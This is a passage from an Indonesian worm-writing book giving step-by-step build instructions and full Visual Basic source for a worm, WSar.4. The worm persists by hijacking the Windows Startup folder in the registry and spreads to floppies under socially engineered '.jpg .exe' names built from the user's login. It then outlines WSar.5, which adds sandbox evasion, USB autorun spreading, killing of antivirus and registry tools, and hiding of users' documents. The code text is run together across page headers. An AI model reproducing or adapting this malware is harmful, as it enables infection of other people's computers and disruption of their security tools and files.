Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

BorderStyle None Tidak memberikan garis tepi pada form

ControlBox False Tidak menggunakan control box

Page 152: Computer Worm 1 secret of underground coding

137Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

Properti object Timer1

Jenis Nilai KeteranganName tmrWSar4 Mengatur nama Timer menjadi tmrWSar4

Enable True Pastikan Timer akan aktif saat form di-load

Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Properti object Timer2

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable True Pastikan Timer akan aktif saat form di-load

Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Properti object Text1

Jenis Nilai KeteranganName txtName Mengatur nama TextBox menjadi txtName

Properti Module1

Jenis Nilai KeteranganName mdlNameLogon Mengatur nama module menjadi mdl-

NameLogon

Properti Module2

Jenis Nilai Keterangan

Name mdlRegistryAPI Mengatur nama module menjadi mdlRegistryAPI

Page 153: Computer Worm 1 secret of underground coding

138Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

Ketik kode program berikut ini pada module mdlNameLogon:

Declare Function GetUserName Lib "advapi32.dll" Alias _ "GetUserNameA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long

Function NameLogon() Dim s As String Dim cnt As Long Dim dl As Long Dim CurUser As String cnt = 199 s = String$(200, 0) dl = GetUserName(s, cnt) If dl <> 0 Then CurUser = Left$(s, cnt) Else : CurUser = "" NameLogon = CurUserEnd Function

Ketik kode program berikut ini pada module mdlRegistryAPI:

Type FILETIME lLowDateTime As Long lHighDateTime As LongEnd Type

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As LongDeclare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ByVal phkResult As Long) As LongDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As LongDeclare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As LongDeclare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As LongDeclare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _ lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As LongDeclare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _ lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ByVal lpcbData As Long) As LongDeclare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long

Page 154: Computer Worm 1 secret of underground coding

139Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal Reserved _ As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As LongDeclare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As LongPublic Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long

Const ERROR_SUCCESS = 0&Const ERROR_BADDB = 1009&Const ERROR_BADKEY = 1010&Const ERROR_CANTOPEN = 1011&Const ERROR_CANTREAD = 1012&Const ERROR_CANTWRITE = 1013&Const ERROR_OUTOFMEMORY = 14&Const ERROR_INVALID_PARAMETER = 87&Const ERROR_ACCESS_DENIED = 5&Const ERROR_NO_MORE_ITEMS = 259&Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&Const REG_SZ = 1&Const REG_EXPAND_SZ = 2&Const REG_BINARY = 3&Const REG_DWORD = 4&Const REG_DWORD_LITTLE_ENDIAN = 4&Const REG_DWORD_BIG_ENDIAN = 5&Const REG_LINK = 6&Const REG_MULTI_SZ = 7&Const REG_RESOURCE_LIST = 8&Const REG_FULL_RESOURCE_DESCRIPTOR = 9&Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&Const KEY_SET_VALUE = &H2&Const KEY_CREATE_SUB_KEY = &H4&Const KEY_ENUMERATE_SUB_KEYS = &H8&Const KEY_NOTIFY = &H10&Const KEY_CREATE_LINK = &H20&Const READ_CONTROL = &H20000Const WRITE_DAC = &H40000Const WRITE_OWNER = &H80000Const SYNCHRONIZE = &H100000Const STANDARD_RIGHTS_REQUIRED = &HF0000Const STANDARD_RIGHTS_READ = READ_CONTROLConst STANDARD_RIGHTS_WRITE = READ_CONTROLConst STANDARD_RIGHTS_EXECUTE = READ_CONTROLConst KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFYConst KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEYConst KEY_EXECUTE = KEY_READ

Page 155: Computer Worm 1 secret of underground coding

140Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

Dim hKey As Long, MainKeyHandle As LongDim rtn As Long, lBuffer As Long, sBuffer As StringDim lBufferSize As LongDim lDataSize As LongDim ByteArray() As Byte

Const DisplayErrorMsg = False

Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String) DeleteKeyValue = False Dim hKey As Long Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End IfEnd Function

Page 156: Computer Worm 1 secret of underground coding

141Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Page 157: Computer Worm 1 secret of underground coding

142Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize) sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End IfEnd Function

Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER

Page 158: Computer Worm 1 secret of underground coding

143Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End SelectEnd Function

Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Can’t Open Key" Case 4, 1012 GetErrorMsg = "Can’t Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Can’t Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End SelectEnd Function

Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else

Page 159: Computer Worm 1 secret of underground coding

144Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\") If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End IfEnd Sub

Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) End If End IfEnd Function

Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Thenrtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value)) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then

Page 160: Computer Worm 1 secret of underground coding

145Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function

Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) value = value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = valueEnd Function

Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ByVal value As String) SetBinaryValue(SubKey, Entry, hex2ascii(value))End Function

Ketik kode program berikut ini pada object frmWSar4:

'WSar.4 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As LongPrivate Declare Function SetVolumeLabel Lib "kernel32" Alias _ "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal _ lpVolumeName As String) As Long

Private Sub Form_Load() If App.PrevInstance = True Then End Call InfectSystem() Call InfectFloppy() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub

Page 161: Computer Worm 1 secret of underground coding

146Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config\StartUp" MkDir(MainFolder) FileCopy(WormFile, MainFolder & "\" & "WINLOGIN.EXE") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr" & _ "entVersion\Explorer\User Shell Folders", "Startup", MainFolder) SetAttr(MainFolder & "\" & "WINLOGIN.EXE", vbReadOnly)End Sub

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim Nama As String txtName.Text = Trim$(NameLogon) Nama = LCase(txtName.Text) Dim NamaCantik(10) As String NamaCantik(0) = "foto seksi " & Nama & ".jpg .exe" NamaCantik(1) = "foto birahi " & Nama & ".jpg .exe" NamaCantik(2) = "foto pacar baru " & Nama & ".jpg .exe" NamaCantik(3) = "foto khusus dewasa.jpg .exe" NamaCantik(4) = "foto tuyul.jpg .exe" NamaCantik(5) = "foto dedemit.jpg .exe" NamaCantik(6) = "foto setan kuburan.jpg .exe" NamaCantik(7) = "foto hantu pocong.jpg .exe" NamaCantik(8) = "foto wewek gombel.jpg .exe" NamaCantik(9) = "foto kuntilanak.jpg .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*.jpg .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End IfEnd Sub

Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Function SetLabel(ByVal RootName As String, ByVal NewLabel _ As String) If RootName = "" Then Exit Function End If Call SetVolumeLabel(RootName, NewLabel)End Function

Page 162: Computer Worm 1 secret of underground coding

147Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

Private Sub PayLoad() On Error Resume Next MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id") SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist")End Sub

Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo SelesaiIseng: mciSendString("close all", 0, 0, 0) mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0) For i = 1 To 3 mciSendString("set cd door open", 0, 0, 0) DoorOpen = True If DoorOpen = True Then mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False End If Next iSelesai:End Sub

Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Page 163: Computer Worm 1 secret of underground coding

148Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

Berikut penjelasan tentang kode program :

Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32.

Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket.

Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp’ di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE".

Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only.

Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil.

Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng’ maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif .

Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak.

Page 164: Computer Worm 1 secret of underground coding

149Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda.

Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh"

Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi "INDONESIAN WORM WRITER ASSOCIATION".

Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kun-jungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id".

Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk menga-tasinya.

Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali.

Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya.

Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.

Page 165: Computer Worm 1 secret of underground coding
Page 166: Computer Worm 1 secret of underground coding

151Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

BAB 11WORM WSar.5

Worm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Kare-na trik sederhana ini tergolong trik baru dan tidak banyak

digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun.

Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari pro-gram Virtual PC, dan hal ini juga akan mempersulit proses analisa.

Melalui WSar.5 penulis akan mendemonstrasikan metode yang digu-nakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lain-nya.

Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikan-nya pada program lain, seperti program informasi startup dan aplikasi antivirus.

Page 167: Computer Worm 1 secret of underground coding

152Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.

11.1 ALGORITMAWSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama.

3. Worm menyembunyikan aplikasi file worm dari task list4. Saat menginfeksi suatu system komputer, worm akan membuat

salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir mema-nipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer

5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill"

6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara oto-matis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar

Page 168: Computer Worm 1 secret of underground coding

153Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terli-hat oleh user.

11.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.5’

Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName frmWSar5 Mengatur nama form menjadi frmWSar5

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

BorderStyle None Tidak memberikan garis tepi pada form

ControlBox False Tidak menggunakan control box

Properti object Timer1

Jenis Nilai KeteranganName tmrDisableWindow Mengatur nama Timer menjadi

tmrDisableWindow

Enable True Pastikan Timer akan aktif saat form di-load

Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik

Page 169: Computer Worm 1 secret of underground coding

154Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

Properti object Timer2

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik

Properti object Timer3

Jenis Nilai KeteranganName tmrSpreading Mengganti nama Timer dari Timer3 menjadi

tmrSpreading

Enable True Pastikan Timer akan aktif saat form di-load

Interval 5000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 5 detik

Properti object Timer4

Jenis Nilai KeteranganName tmrAntiDestroyer Mengatur nama Timer menjadi tmrAntiDe-

stroyer

Enable True Pastikan Timer akan aktif saat form di-load

Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Page 170: Computer Worm 1 secret of underground coding

155Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

Properti object Text2

Jenis Nilai KeteranganName txtPath2 Mengatur nama TextBox menjadi txtPath2

Properti Module1

Jenis Nilai Keterangan

Name mdlMinimize Mengatur nama module menjadi mdlMinimize

Properti Module2

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlReg-

istryAPI

Properti Module3

Jenis Nilai KeteranganName mdlWinForce Mengatur nama module menjadi mdlWin-

Force

Ketik kode program berikut ini pada module mdlMinimize:

